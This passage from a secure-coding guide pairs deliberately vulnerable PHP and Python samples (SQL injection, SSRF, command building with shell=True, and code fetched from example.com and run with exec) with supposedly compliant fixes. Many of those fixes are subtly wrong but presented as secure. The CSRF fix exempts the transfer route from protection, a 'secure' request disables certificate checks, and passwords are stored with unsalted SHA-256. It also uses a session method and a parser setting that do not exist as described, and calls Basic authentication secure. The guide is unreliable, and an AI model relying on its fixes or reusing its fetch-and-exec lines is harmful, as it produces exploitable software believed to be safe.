inject malicious input and log it to the file, potentially compromising the system. Compliant code: ```php $username = $_POST['username']; $password = $_POST['password']; // sanitize the input using filter_var $sanitized_username = filter_var($username, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH); $sanitized_password = filter_var($password, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH); // log the sanitized username and password to a file file_put_contents('logs.txt', 'Username: '.$sanitized_username.' Password: '.$sanitized_password); ``` In the compliant code example, the `filter_var` function is used to sanitize the input before being logged to the file. The `FILTER_SANITIZE_STRING` flag removes any character that is not a letter, digit, or whitespace. The `FILTER_FLAG_STRIP_LOW` and `FILTER_FLAG_STRIP_HIGH` flags remove any character with an ASCII value below 32 or above 126, respectively. This ensures that only safe and valid characters are logged to the file. ## Omission of Security-relevant Information Noncompliant code: ```php $username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'"; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { // user is authenticated // do some sensitive operation } else { // user is not authenticated echo "Invalid credentials"; } ``` Compliant code: ```php $username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = ? AND password = ?"; $stmt = mysqli_prepare($conn, $sql); mysqli_stmt_bind_param($stmt, "ss", $username, $password); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); if (mysqli_num_rows($result) > 0) { // user is authenticated // do some sensitive operation } else { // user is not authenticated echo "Invalid credentials"; } ``` Omission of security-relevant information is a vulnerability that occurs when important security-related information, such as error messages, is not provided to the user or logged for later analysis. In the noncompliant code example, an attacker can use the error message "Invalid credentials" to determine if a given username exists in the system. This information can be used in further attacks to try and guess the correct password. The compliant code example uses prepared statements to prevent SQL injection, and does not provide any information in the error message that could be used by an attacker to determine if a username exists in the system or not. ## Sensitive Information into Log File Noncompliant code: ```php // sensitive data is logged without proper redaction $username = $_POST['username']; $password = $_POST['password']; error_log("Login attempt with username: ".$username." and password: ".$password); ``` The noncompliant code shows an example where sensitive data (i.e. username and password) is directly logged to an error log file. This can be dangerous as it may expose this sensitive information to unauthorized parties who have access to the log file. Compliant code: ```php // sensitive data is redacted before being logged $username = $_POST['username']; $password = $_POST['password']; error_log("Login attempt with username: ".redact($username)." and password: ".redact($password)); function redact($string) { // replace sensitive data with asterisks return preg_replace('/./', '*', $string); } ``` The compliant code shows an example of how to properly redact the sensitive data before logging it. In this example, the redact function replaces every character in the sensitive string with an asterisk, effectively hiding the sensitive data. The redacted strings are then used in the error log message, which will not reveal the sensitive data. ## Server-Side Request Forgery (SSRF) Noncompliant code: ```php $url = $_GET['url']; $file = file_get_contents($url); echo $file; ``` In this noncompliant code, an attacker can pass a malicious URL through the "url" parameter in the GET request and the server will make a request to that URL using the file_get_contents() function. This allows the attacker to perform unauthorized actions on behalf of the server. Compliant code: ```php $url = $_GET['url']; if (filter_var($url, FILTER_VALIDATE_URL) === FALSE) { echo "Invalid URL"; } else { $file = file_get_contents($url); echo $file; } ``` In this compliant code, the input from the "url" parameter is validated using the FILTER_VALIDATE_URL filter, which checks if the URL is valid. If the URL is invalid, the script will return an error message. If the URL is valid, the server will retrieve the contents of the URL using the file_get_contents() function. This prevents the server from making requests to malicious URLs. It is important to note that in addition to input validation, other measures such as using a whitelist of allowed URLs and limiting network access can also help prevent SSRF attacks. ================================================ FILE: docs/rules/python.md ================================================ --- layout: default title: Python parent: Rules --- # Python {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Exposure of sensitive information Noncompliant code: ```php @app.route('/users/', methods=['GET']) def get_user(id): user = db.get_user(id) if user: return jsonify(user) else: return jsonify({'error': 'User not found'}), 404 ``` The noncompliant code example exposes sensitive information by returning the complete user object as a JSON response. This can potentially expose sensitive data, such as passwords, email addresses, or other private user details. If an unauthorized user makes a request to this endpoint with a valid user ID, they will receive the complete user object, including sensitive information. To address this issue, here's an example of compliant code: Compliant code: ```php @app.route('/users/', methods=['GET']) def get_user(id): user = db.get_user(id) if user: sanitized_user = { 'id': user['id'], 'name': user['name'] # Include only necessary non-sensitive information } return jsonify(sanitized_user) else: return jsonify({'error': 'User not found'}), 404 ``` The compliant code addresses the issue by sanitizing the user object before sending the response. Instead of returning the complete user object, it creates a new dictionary (sanitized_user) that only includes necessary non-sensitive information, such as the user ID and name. This way, sensitive data is not exposed to unauthorized users. By applying data sanitization techniques, the code ensures that only the required information is shared and sensitive information is properly protected. ## Insertion of Sensitive Information Into Sent Data Noncompliant code: ```php def send_email(user_email, message): subject = "Important Message" body = f"Hello {user_email},\n\n{message}\n\nRegards,\nAdmin" # Code to send email using SMTP # ... ``` The noncompliant code example inserts sensitive information, such as the user's email address, directly into the email body without proper sanitization or protection. This can expose sensitive information to unintended recipients if the email is intercepted or if the email client does not handle the data securely. To address this issue, here's an example of compliant code: Compliant code: ```php def send_email(user_email, message): subject = "Important Message" body = f"Hello,\n\n{message}\n\nRegards,\nAdmin" # Code to send email using SMTP # ... ``` The compliant code removes the insertion of the user's email address into the email body. Instead, it uses a generic salutation in the email body without directly referencing the user's email address. By avoiding the inclusion of sensitive information in the sent data, the compliant code ensures that sensitive information is not exposed or leaked during communication. It's important to handle sensitive data with care and follow best practices for data protection and privacy. ## Cross-Site Request Forgery (CSRF) Noncompliant code: ```php from flask import Flask, render_template, request app = Flask(__name__) @app.route('/transfer', methods=['POST']) def transfer(): # Transfer funds amount = request.form['amount'] destination_account = request.form['destination_account'] # ... logic to transfer funds ... @app.route('/dashboard') def dashboard(): return render_template('dashboard.html') if __name__ == '__main__': app.run() ``` The noncompliant code lacks appropriate CSRF protection. The transfer() function performs a fund transfer based on the form data submitted via a POST request. However, it does not implement any mechanism to prevent Cross-Site Request Forgery attacks. An attacker can craft a malicious website that automatically submits a form to the /transfer endpoint, tricking the victim into unknowingly initiating a fund transfer. To address this issue, here's an example of compliant code: Compliant code: ```php from flask import Flask, render_template, request from flask_wtf.csrf import CSRFProtect app = Flask(__name__) app.config['SECRET_KEY'] = 'your-secret-key' csrf = CSRFProtect(app) @app.route('/transfer', methods=['POST']) @csrf.exempt def transfer(): # Transfer funds amount = request.form['amount'] destination_account = request.form['destination_account'] # ... logic to transfer funds ... @app.route('/dashboard') def dashboard(): return render_template('dashboard.html') if __name__ == '__main__': app.run() ``` The compliant code introduces the CSRFProtect extension from Flask-WTF to provide CSRF protection. The @csrf.exempt decorator is used on the transfer() function to exempt it from CSRF protection since it is an intentional API endpoint. By incorporating CSRF protection, the compliant code mitigates the risk of CSRF attacks by validating the authenticity of requests, ensuring that they originate from the same site as the form submission. ## Use of Hard-coded Password Noncompliant code: ```php def login(username, password): if username == 'admin' and password == 'password123': # Login successful return True else: # Login failed return False ``` The noncompliant code directly compares the provided username and password with hard-coded values ('admin' and 'password123'). This approach poses a security risk as sensitive credentials are exposed directly in the source code. Anyone with access to the source code can easily retrieve the credentials, compromising the security of the system. To address this issue, here's an example of compliant code: Compliant code: ```php import getpass def login(username, password): stored_password = retrieve_password_from_database(username) if password_matches(stored_password, password): # Login successful return True else: # Login failed return False def retrieve_password_from_database(username): # Code to retrieve the hashed password from the database # ... def password_matches(stored_password, entered_password): # Code to compare the stored password with the entered password # ... if __name__ == '__main__': username = input("Username: ") password = getpass.getpass("Password: ") login(username, password) ``` The compliant code avoids using hard-coded passwords directly in the source code. Instead, it separates the authentication logic from the password storage and comparison. The retrieve_password_from_database() function retrieves the stored password for a given username from a secure database. The password_matches() function compares the entered password with the stored password using appropriate secure hashing and comparison techniques. By following this approach, the password remains securely stored in the database, and the code does not expose sensitive information. ## Broken or Risky Crypto Algorithm Noncompliant code: ```php # You sould install pycryptodome before runing this code # pip install pycryptodome import base64 from Crypto.Cipher import DES from Crypto.Util.Padding import pad, unpad def encrypt_data(data, key): cipher = DES.new(key.encode(), DES.MODE_ECB) padded_data = pad(data.encode(), DES.block_size) encrypted_data = cipher.encrypt(padded_data) return base64.b64encode(encrypted_data).decode('utf-8') def decrypt_data(encrypted_data, key): cipher = DES.new(key.encode(), DES.MODE_ECB) decrypted_data = cipher.decrypt(base64.b64decode(encrypted_data.encode())) return unpad(decrypted_data, DES.block_size).decode('utf-8') if __name__ == '__main__': key = 'abcdefgh' # 8 bytes key for DES data = 'Hello, World' # Data to be encrypted encrypted_data = encrypt_data(data, key) print('Encrypted data:', encrypted_data) decrypted_data = decrypt_data(encrypted_data, key) print('Decrypted data:', decrypted_data) ``` The noncompliant code uses the DES (Data Encryption Standard) algorithm, which is considered broken and insecure for most cryptographic purposes. Additionally, the code uses the ECB (Electronic Codebook) mode, which does not provide sufficient security against certain attacks. The base64 module is used for encoding and decoding the encrypted data. Compliant code: ```php # Importing required libraries import base64, os # Importing required libraries from cryptography from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend # Function to encrypt data using AES-GCM algorithm and return the encrypted data in string format def encrypt(data:str, key:str) -> str: iv = os.urandom(12) encryptor = Cipher(algorithms.AES(key.encode('utf-8')), modes.GCM(iv), backend=default_backend()).encryptor() encrypted_data = encryptor.update(data.encode('utf-8')) + encryptor.finalize() return base64.urlsafe_b64encode(iv + encryptor.tag + encrypted_data).decode('utf-8') # Function to decrypt data using AES-GCM algorithm and return the decrypted data in string format def decrypt(encrypted_data, key) -> str: decoded_data = base64.urlsafe_b64decode(encrypted_data) iv = decoded_data[:12] tag = decoded_data[12:28] encrypted_data = decoded_data[28:] decryptor = Cipher(algorithms.AES(key.encode('utf-8')), modes.GCM(iv, tag), backend=default_backend()).decryptor() return (decryptor.update(encrypted_data) + decryptor.finalize()).decode('utf-8') # Main function to test the above functions if __name__ == '__main__': key = '689ef728d55342d9af07ed4194cf1d4C' # 32 bytes key for AES-256 data = 'Hello, World' # Data to be encrypted # Encrypting and decrypting the data encrypted_data = encrypt(data, key) print('Encrypted data:', encrypted_data) decrypted_data = decrypt(encrypted_data, key) print('Decrypted data:', decrypted_data) ``` The compliant code uses the cryptography library, which provides a more secure and modern cryptographic API. It employs the AES (Advanced Encryption Standard) algorithm with GCM (Galois/Counter Mode) mode, which is considered more secure than DES. The urlsafe_b64encode and urlsafe_b64decode functions from base64 module are used for encoding and decoding the encrypted data, respectively. ## Insufficient Entropy Noncompliant code: ```php import random def generate_random_password(length): password = '' for _ in range(length): password += random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890') return password ``` The noncompliant code attempts to generate a random password by repeatedly selecting a character from a limited set of characters. However, this approach does not provide sufficient entropy, as the character selection is limited to alphanumeric characters. The resulting passwords may not have a strong enough random distribution, making them more susceptible to brute-force attacks. Compliant code: ```php import secrets import string def generate_random_password(length): characters = string.ascii_letters + string.digits + string.punctuation password = ''.join(secrets.choice(characters) for _ in range(length)) return password ``` The compliant code improves the entropy of the generated password by utilizing the secrets module and a wider range of characters. It combines lowercase and uppercase letters, digits, and punctuation symbols to form a more diverse character set. The secrets.choice function is used to securely select a character from the extended set for each position in the password. This approach ensures a higher level of randomness and increases the strength of the generated passwords. ## XSS Noncompliant code: ```php def generate_html_output(input_data): html = "
" + input_data + "
" return html ``` The noncompliant code takes an input_data parameter and directly concatenates it into an HTML string without proper sanitization or escaping. This approach can lead to an XSS vulnerability as it allows an attacker to inject malicious scripts or HTML code into the output. If the input_data contains user-controlled input, an attacker can craft input that includes JavaScript code or HTML tags, which will be executed when the generated HTML is rendered by a browser. Compliant code: ```php import html def generate_html_output(input_data): escaped_data = html.escape(input_data) html = "
" + escaped_data + "
" return html ``` The compliant code uses the html.escape function to properly sanitize the input_data by replacing special characters with their corresponding HTML entities. This step ensures that any user-controlled input is treated as plain text and not interpreted as HTML or JavaScript code when rendered in the browser. By escaping the input data, the compliant code mitigates the risk of XSS attacks by preventing the execution of malicious scripts or the unintended interpretation of HTML tags. ## SQL Injection Noncompliant code: ```php import sqlite3 def get_user_data(username): conn = sqlite3.connect('mydb.db') cursor = conn.cursor() query = "SELECT * FROM users WHERE username = '" + username + "'" cursor.execute(query) result = cursor.fetchall() conn.close() return result ``` The noncompliant code takes a username parameter and directly concatenates it into a SQL query without using parameterized queries or proper input validation. This approach can lead to a SQL injection vulnerability as it allows an attacker to manipulate the query by providing malicious input. An attacker can modify the username parameter to include additional SQL statements, altering the intended behavior of the query or even gaining unauthorized access to the database. Compliant code: ```php import sqlite3 def get_user_data(username): conn = sqlite3.connect('mydb.db') cursor = conn.cursor() query = "SELECT * FROM users WHERE username = ?" cursor.execute(query, (username,)) result = cursor.fetchall() conn.close() return result ``` The compliant code uses parameterized queries with placeholders to securely pass the username parameter to the SQL query. Instead of directly concatenating the input into the query string, the placeholder ? is used, and the actual value is passed separately as a parameter to the execute method. This ensures that the input is properly sanitized and treated as data, eliminating the risk of SQL injection attacks. The compliant code protects against unauthorized manipulation of the query structure and ensures the safe execution of the intended SQL statement. ## External Control of File Name or Path Noncompliant code: ```php import os def delete_file(file_name): path = "/path/to/files/" + file_name if os.path.exists(path): os.remove(path) print("File deleted.") else: print("File not found.") ``` The noncompliant code takes a file_name parameter and directly concatenates it into the path variable without proper validation or sanitization. This approach can lead to an external control of file name or path vulnerability, as an attacker can manipulate the file_name parameter to access or delete arbitrary files on the system. By providing a specially crafted file_name input, an attacker can potentially traverse directories or delete sensitive files unintentionally. Compliant code: ```php import os import os.path def delete_file(file_name): base_path = "/path/to/files/" path = os.path.join(base_path, file_name) if os.path.exists(path) and os.path.isfile(path): os.remove(path) print("File deleted.") else: print("File not found.") ``` The compliant code addresses the vulnerability by using the os.path.join function to safely concatenate the file_name parameter with the base path. This ensures that the resulting file path is properly formed regardless of the input. Additionally, the compliant code includes checks to verify that the file exists and is a regular file (os.path.isfile) before performing any operations on it. This mitigates the risk of unintended file access or deletion and provides a more secure approach to file handling in Python. ## Generation of Error Message Containing Sensitive Information Noncompliant code: ```php def divide_numbers(a, b): try: result = a / b return result except Exception as e: error_msg = f"An error occurred: {str(e)}" print(error_msg) ``` The noncompliant code captures the exception message in the error_msg variable and prints it directly to the console. This can lead to the generation of error messages that contain sensitive information, such as database connection details, stack traces, or other internal system information. If an attacker can trigger an exception, they may be able to obtain valuable information that can be used to exploit the system further. Compliant code: ```php import logging def divide_numbers(a, b): try: result = a / b return result except Exception as e: logging.error("An error occurred during division", exc_info=True) ``` The compliant code addresses the issue by using a logging framework, such as the built-in logging module, to handle error messages. Instead of directly printing the error message to the console, the code uses the logging.error method to log the error message, along with the stack trace (exc_info=True). By using a logging framework, the error messages can be properly handled and logged according to the configured logging settings. This helps prevent sensitive information from being exposed in error messages displayed to end-users or attackers. ## unprotected storage of credentials Noncompliant code: ```php def save_credentials(username, password): credentials_file = open("credentials.txt", "w") credentials_file.write(f"Username: {username}\n") credentials_file.write(f"Password: {password}\n") credentials_file.close() ``` The noncompliant code saves the provided username and password directly to a file called "credentials.txt" without any form of encryption or protection. Storing sensitive information like credentials in plain text is highly insecure because anyone with access to the file can easily read and misuse the information. This can lead to unauthorized access and compromise of user accounts. Compliant code: ```php import hashlib def save_credentials(username, password): hashed_password = hashlib.sha256(password.encode()).hexdigest() credentials = f"Username: {username}\nPassword: {hashed_password}\n" with open("credentials.txt", "w") as credentials_file: credentials_file.write(credentials) ``` The compliant code addresses the issue by using a one-way hashing algorithm (SHA-256 in this example) to securely hash the password before storing it. The password is not stored directly, but rather its hash value is calculated and stored. Hashing is a one-way process, making it difficult to retrieve the original password from the hash. By using a secure hash function, even if an attacker gains access to the stored credentials, they won't be able to easily reverse-engineer the original password. This significantly enhances the security of the stored credentials. ## Trust Boundary Violation Noncompliant code: ```php import subprocess def process_user_input(user_input): # Assume user_input comes from an untrusted source cmd = f"echo '{user_input}'" output = subprocess.check_output(cmd, shell=True) print(output) ``` The noncompliant code takes user input directly and uses it to construct a command to be executed by the subprocess module. This approach can lead to a trust boundary violation, as it allows untrusted input to be executed as a command on the system. An attacker could potentially inject malicious commands, leading to unauthorized access or execution of arbitrary code on the system. Compliant code: ```php import subprocess import shlex def process_user_input(user_input): # Assume user_input comes from an untrusted source cmd_args = shlex.split(f"echo {user_input}") output = subprocess.check_output(cmd_args) print(output) ``` The compliant code addresses the trust boundary violation by using the shlex.split() function to properly tokenize the user input, ensuring that it is interpreted as separate arguments instead of a single command. This helps prevent command injection attacks by ensuring that the input is treated as data rather than executable code. By properly handling and sanitizing user input, the code establishes a clear trust boundary and mitigates the risk of unauthorized command execution. ## Insufficiently Protected Credentials Noncompliant code: ```php import requests def login(username, password): # Assume username and password come from user input url = "https://example.com/login" data = {"username": username, "password": password} response = requests.post(url, data=data) if response.status_code == 200: print("Login successful") else: print("Login failed") ``` The noncompliant code takes user-provided username and password values and sends them as plaintext in a POST request to a login endpoint. This approach exposes the credentials to potential interception or eavesdropping, as they are transmitted without any form of protection. Attackers could potentially intercept the network traffic or access logs to obtain the credentials, compromising the security of the user's account. Compliant code: ```php import requests from requests.auth import HTTPDigestAuth def login(username, password): # Assume username and password come from user input url = "https://example.com/login" auth = HTTPDigestAuth(username, password) response = requests.post(url, auth=auth) if response.status_code == 200: print("Login successful") else: print("Login failed") ``` The compliant code addresses the issue of insufficiently protected credentials by using HTTP Digest Authentication (HTTPDigestAuth) to securely transmit the username and password. Digest authentication uses a challenge-response mechanism that involves hashing the password and sending a hashed value along with the request. This approach ensures that the password is not transmitted in plaintext, providing a higher level of security against eavesdropping or interception attacks. ## Restriction of XML External Entity Reference Noncompliant code: ```php import xml.etree.ElementTree as ET def parse_xml(xml_string): tree = ET.fromstring(xml_string) # Process the XML data ... ``` The noncompliant code uses the xml.etree.ElementTree module to parse an XML string. However, it doesn't explicitly disable the resolution of external entities, which can introduce security risks. An attacker could potentially craft a malicious XML file that includes external entity references and exploit this to perform XXE attacks, such as reading sensitive files or conducting denial-of-service attacks. Compliant code: ```php import xml.etree.ElementTree as ET def parse_xml(xml_string): parser = ET.XMLParser() parser.entity_declaration = False # Disable external entity resolution tree = ET.fromstring(xml_string, parser=parser) # Process the XML data ... ``` The compliant code explicitly creates an XML parser (ET.XMLParser()) and disables the resolution of external entities by setting parser.entity_declaration to False. This ensures that any external entity references in the XML string are not resolved, mitigating the risk of XXE attacks. By disabling external entity resolution, the code restricts the parser from accessing or including external entities, enhancing the security of the XML processing. ## Vulnerable and Outdated Components Noncompliant code: ```php from flask import Flask, render_template import requests app = Flask(__name__) @app.route('/') def index(): # Use a vulnerable function to fetch data response = requests.get('http://example.com/api/v1/users') data = response.json() return render_template('index.html', data=data) if __name__ == '__main__': app.run() ``` The noncompliant code uses the requests library to make an HTTP request to an API endpoint and fetch user data. However, the code does not consider the security implications of using outdated or vulnerable components. The use of outdated libraries may expose the application to known security vulnerabilities, which can be exploited by attackers. Compliant code: ```php from flask import Flask, render_template import requests from requests.packages.urllib3.util import ssl_ # Disable SSL verification warnings ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' app = Flask(__name__) @app.route('/') def index(): # Use a secure function to fetch data response = requests.get('https://example.com/api/v1/users', verify=False) data = response.json() return render_template('index.html', data=data) if __name__ == '__main__': app.run() ``` The compliant code takes additional steps to address the use of vulnerable and outdated components: 1. It disables SSL verification warnings using the ssl_.DEFAULT_CIPHERS variable from requests.packages.urllib3.util. This prevents warnings related to SSL verification when making HTTPS requests. 2. It explicitly sets verify=False when making the request to disable SSL certificate verification. This is done with caution and should only be used when the risks associated with insecure connections are adequately mitigated in the application's specific context. 3. It uses the latest version of the requests library to benefit from the latest security patches and improvements. By addressing these issues, the compliant code takes steps to reduce the risk associated with using vulnerable and outdated components and improves the overall security of the application. It is important to regularly update dependencies and libraries to ensure the usage of the latest secure versions. ## Improper Validation of Certificate with Host Mismatch Noncompliant code: ```php import requests def get_secure_data(url): # Perform a request without proper certificate validation response = requests.get(url, verify=False) return response.text # Example usage data = get_secure_data('https://example.com') print(data) ``` The noncompliant code uses the requests library to make an HTTPS request to a specified URL. However, it disables certificate verification by setting verify=False when making the request. This means that the code does not properly validate the certificate presented by the server, including checking for a host mismatch. Compliant code: ```php import requests def get_secure_data(url): # Perform a request with proper certificate validation response = requests.get(url) response.raise_for_status() # Raise an exception if the request fails return response.text # Example usage data = get_secure_data('https://example.com') print(data) ``` The compliant code addresses the issue of improper validation of a certificate with a host mismatch by removing verify=False and allowing the requests library to perform proper certificate validation. The requests.get() function performs certificate verification by default, ensuring that the certificate presented by the server is valid and matches the requested host. The response.raise_for_status() function is also used to raise an exception if the request fails, allowing for proper error handling. By using proper certificate validation and checking for host mismatches, the compliant code improves the security of the HTTPS communication. It ensures that the certificate presented by the server is valid and matches the requested host, reducing the risk of man-in-the-middle attacks and unauthorized access to sensitive information. ## Improper Authentication Noncompliant code: ```php import requests def login(username, password): credentials = {'username': username, 'password': password} response = requests.post('https://example.com/login', data=credentials) if response.status_code == 200: return 'Login successful' else: return 'Login failed' # Example usage result = login('admin', 'password') print(result) ``` The noncompliant code uses a basic authentication mechanism where the username and password are sent as plain text in the request body. This approach is insecure because it does not provide proper protection for sensitive credentials during transmission. Compliant code: ```php import requests from requests.auth import HTTPBasicAuth def login(username, password): credentials = HTTPBasicAuth(username, password) response = requests.post('https://example.com/login', auth=credentials) if response.status_code == 200: return 'Login successful' else: return 'Login failed' # Example usage result = login('admin', 'password') print(result) ``` The compliant code addresses the issue of improper authentication by using HTTP Basic Authentication. It leverages the HTTPBasicAuth class from the requests.auth module to provide proper encoding of the credentials in the Authorization header. This ensures that the username and password are transmitted in a secure manner, as they are encoded in Base64 format. By using proper authentication mechanisms like HTTP Basic Authentication, the compliant code improves the security of the login process. It ensures that sensitive credentials are protected during transmission, reducing the risk of unauthorized access or interception by malicious actors. ## Session Fixation Noncompliant code: ```php from flask import Flask, request, session app = Flask(__name__) app.secret_key = 'insecure_secret_key' @app.route('/login', methods=['POST']) def login(): username = request.form['username'] password = request.form['password'] # Authenticate user if username == 'admin' and password == 'password': session['username'] = username return 'Login successful' else: return 'Login failed' @app.route('/profile') def profile(): if 'username' in session: return f"Welcome, {session['username']}!" else: return 'Please login' # Example usage app.run() ``` The noncompliant code uses the Flask web framework and stores the authenticated user's username in the session after successful login. However, it does not regenerate the session ID upon login, leaving it vulnerable to session fixation attacks. An attacker can obtain a valid session ID and force it onto a victim, allowing them to hijack the victim's session. Compliant code: ```php from flask import Flask, request, session import os app = Flask(__name__) app.secret_key = os.urandom(16) @app.route('/login', methods=['POST']) def login(): username = request.form['username'] password = request.form['password'] # Authenticate user if username == 'admin' and password == 'password': session.regenerate() # Regenerate session ID session['username'] = username return 'Login successful' else: return 'Login failed' @app.route('/profile') def profile(): if 'username' in session: return f"Welcome, {session['username']}!" else: return 'Please login' # Example usage app.run() ``` The compliant code addresses the session fixation vulnerability by regenerating the session ID upon successful login using the regenerate() method provided by the session object. This ensures that the session ID is changed after authentication, preventing an attacker from fixing a session ID and hijacking the user's session. By regenerating the session ID upon login, the compliant code mitigates the risk of session fixation attacks. It ensures that each user gets a unique and unpredictable session ID, enhancing the security of the session management mechanism. ## Inclusion of Functionality from Untrusted Control Noncompliant code: ```php import requests # Fetch and execute code from an untrusted source untrusted_code = requests.get('http://example.com/untrusted_code.py').text exec(untrusted_code) ``` The noncompliant code retrieves code from an untrusted source using the requests library and executes it using the exec() function. This approach poses significant security risks as the untrusted code can potentially contain malicious instructions or perform unauthorized actions on the system. Compliant code: ```php import requests import ast # Fetch and evaluate code from an untrusted source untrusted_code = requests.get('http://example.com/untrusted_code.py').text ast.parse(untrusted_code) ``` The compliant code takes a more cautious approach when including functionality from an untrusted control. Instead of directly executing the code, it uses the ast.parse() function from the ast module to parse and evaluate the code as an abstract syntax tree (AST). This allows for a safer analysis of the code without executing it directly. By parsing the untrusted code as an AST, the compliant code gains the ability to inspect and validate the code's structure and contents before deciding whether to execute it. This mitigates the risk of running arbitrary or malicious code, providing an additional layer of security. ## Download of Code Without Integrity Check Noncompliant code: ```php import requests # Download code without integrity check code_url = 'http://example.com/malicious_code.py' response = requests.get(code_url) code = response.text # Execute the downloaded code exec(code) ``` The noncompliant code directly downloads code from a remote source using the requests library without performing any integrity check. It then proceeds to execute the downloaded code using the exec() function. This approach can be dangerous as it allows the execution of potentially malicious or unauthorized code without verifying its integrity. Compliant code: ```php import requests import hashlib # Download code with integrity check code_url = 'http://example.com/malicious_code.py' response = requests.get(code_url) code = response.text # Verify code integrity expected_hash = '4a2d8f37ac...' calculated_hash = hashlib.sha256(code.encode()).hexdigest() if calculated_hash == expected_hash: exec(code) else: print("Integrity check failed. Code execution aborted.") ``` The compliant code includes an integrity check to ensure the downloaded code's authenticity before execution. It computes the hash of the downloaded code using a cryptographic algorithm (in this case, SHA-256) and compares it to an expected hash value. If the calculated hash matches the expected hash, the code is considered valid and can be executed using exec(). If the hashes do not match, the code execution is aborted, and an appropriate message is displayed. By verifying the integrity of the downloaded code, the compliant code mitigates the risk of executing tampered or malicious code, providing an additional layer of security. ## Deserialization of Untrusted Data Noncompliant code: ```php import pickle def deserialize_data(data): # WARNING: This code is noncompliant and insecure obj = pickle.loads(data) return obj ``` The noncompliant code uses the pickle.loads() function to deserialize untrusted data without any security measures. This approach is highly vulnerable to deserialization attacks, such as arbitrary code execution or malicious object injection. Attackers can craft malicious payloads to exploit vulnerabilities in the deserialization process and compromise the system. Compliant code: ```php import pickle def deserialize_data(data): try: obj = pickle.loads(data) # Validate the deserialized object or perform additional security checks # ... return obj except (pickle.UnpicklingError, AttributeError, ImportError, TypeError) as e: # Handle deserialization errors # Log or raise an exception, or return a default value # ... return None ``` The compliant code implements security measures to mitigate the risks associated with deserialization of untrusted data. It uses a try-except block to handle potential exceptions during deserialization. This helps to prevent code execution vulnerabilities and ensures that the application gracefully handles any errors. Additionally, in the compliant code, you can perform validation and security checks on the deserialized object to ensure it meets the expected criteria. This can include verifying the object's type, structure, or specific attributes, depending on the context and requirements of your application. It's crucial to be cautious when deserializing untrusted data and consider additional security measures such as input validation, data integrity checks, and limiting deserialization to trusted classes or modules. These precautions help protect against deserialization vulnerabilities and enhance the overall security of your application. ## Insufficient Logging Noncompliant code: ```php import logging def process_data(data): # Process the data # ... # Log the result logging.info("Data processed successfully") ``` The noncompliant code uses a basic logging statement without providing sufficient information. It simply logs a generic message indicating that the data was processed successfully. This approach lacks important details, making it challenging to diagnose issues, monitor the application's behavior, and investigate security incidents. Insufficient logging makes it difficult to detect and respond to security breaches and other events effectively. Compliant code: ```php import logging def process_data(data): # Process the data # ... # Log the result with additional information logging.info("Data processed successfully: %s", data) ``` The compliant code improves the logging by including additional information in the log message. In this example, the processed data is included as part of the log statement using string formatting. By adding relevant details, such as the processed data or any contextual information, the log becomes more informative and aids in troubleshooting, auditing, and monitoring activities. It's important to log meaningful events, errors, and security-relevant information throughout the application. Additionally, logging levels (e.g., info, warning, error) should be appropriately used based on the severity and significance of the logged event. Proper logging practices facilitate the detection and analysis of security incidents, allow for effective incident response, and provide valuable insights into the application's behavior. It is crucial to log sufficient information while being mindful of data sensitivity and compliance requirements. ## Improper Output Neutralization for Logs Noncompliant code: ```php import logging def log_user_input(username): # Log user input logging.info("Received username: " + username) ``` The noncompliant code directly concatenates the user input username with a log message string using the + operator. This approach is vulnerable to log injection, where an attacker can manipulate the input to inject malicious characters or log formatting sequences. This can lead to log forging, log injection attacks, or even the exposure of sensitive information in the log entries. Compliant code: ```php import logging def log_user_input(username): # Log user input with proper output neutralization logging.info("Received username: %s", username) ``` The compliant code uses proper output neutralization by using string formatting with placeholders %s and passing the username variable as an argument. This ensures that the user input is treated as data and not as formatting instructions. By neutralizing the output, special characters or formatting sequences entered by an attacker are rendered harmless and logged as intended. Proper output neutralization helps prevent log injection attacks and ensures that the logged information accurately represents the intended data without compromising the integrity of the log entries. It's crucial to neutralize user-controlled input and other dynamic data when incorporating them into log messages to prevent security vulnerabilities and maintain the integrity and confidentiality of the logged information. ## Omission of Security-relevant Information Noncompliant code: ```php def login(username, password): if username == "admin" and password == "password": print("Login successful") else: print("Login failed") ``` The noncompliant code simply prints a generic message indicating whether the login was successful or failed without providing any specific details. This omission of security-relevant information can make it difficult to diagnose and respond to potential security issues or attacks. It lacks the necessary context to understand the reason for the login failure, potentially leaving sensitive information exposed or allowing an attacker to probe for valid usernames or passwords. Compliant code: ```php import logging def login(username, password): if username == "admin" and password == "password": logging.info("Successful login for user: %s", username) else: logging.warning("Failed login attempt for user: %s", username) ``` The compliant code improves the logging approach by providing security-relevant information in the log messages. It utilizes the logging module to log the details of the login attempts. In the case of a successful login, it logs an informative message indicating the successful login along with the username. In the case of a failed login attempt, it logs a warning message indicating the failed attempt and includes the username. By including security-relevant information in the log messages, it becomes easier to monitor and analyze login activities, detect suspicious login attempts, and investigate potential security breaches. This helps improve the security posture of the application and facilitates incident response and forensic analysis in case of any security incidents. ## Sensitive Information into Log File Noncompliant code: ```php import logging def process_payment(payment_data): logging.info("Payment processed for user: %s", payment_data['user']) ``` The noncompliant code logs sensitive information, such as the user's name, directly into the log file using the logging.info() function. This practice can expose sensitive data to unauthorized individuals who might have access to the log files. Storing sensitive information in plain text logs is a security risk and can lead to data breaches or unauthorized access. Compliant code: ```php import logging def process_payment(payment_data): logging.info("Payment processed for user: %s", obfuscate_user(payment_data['user'])) def obfuscate_user(user): # Code to obfuscate or mask sensitive information return "****" + user[-4:] ``` The compliant code addresses the issue by obfuscating or masking the sensitive information before logging it. In this example, the obfuscate_user() function is used to replace sensitive user information with masked data. The obfuscation process can involve techniques like truncation, substitution, or encryption, depending on the specific requirements. By obfuscating the sensitive information before logging, the compliant code prevents the exposure of actual user data in the log files. It enhances the security and privacy of user information, ensuring that even if the log files are accessed by unauthorized 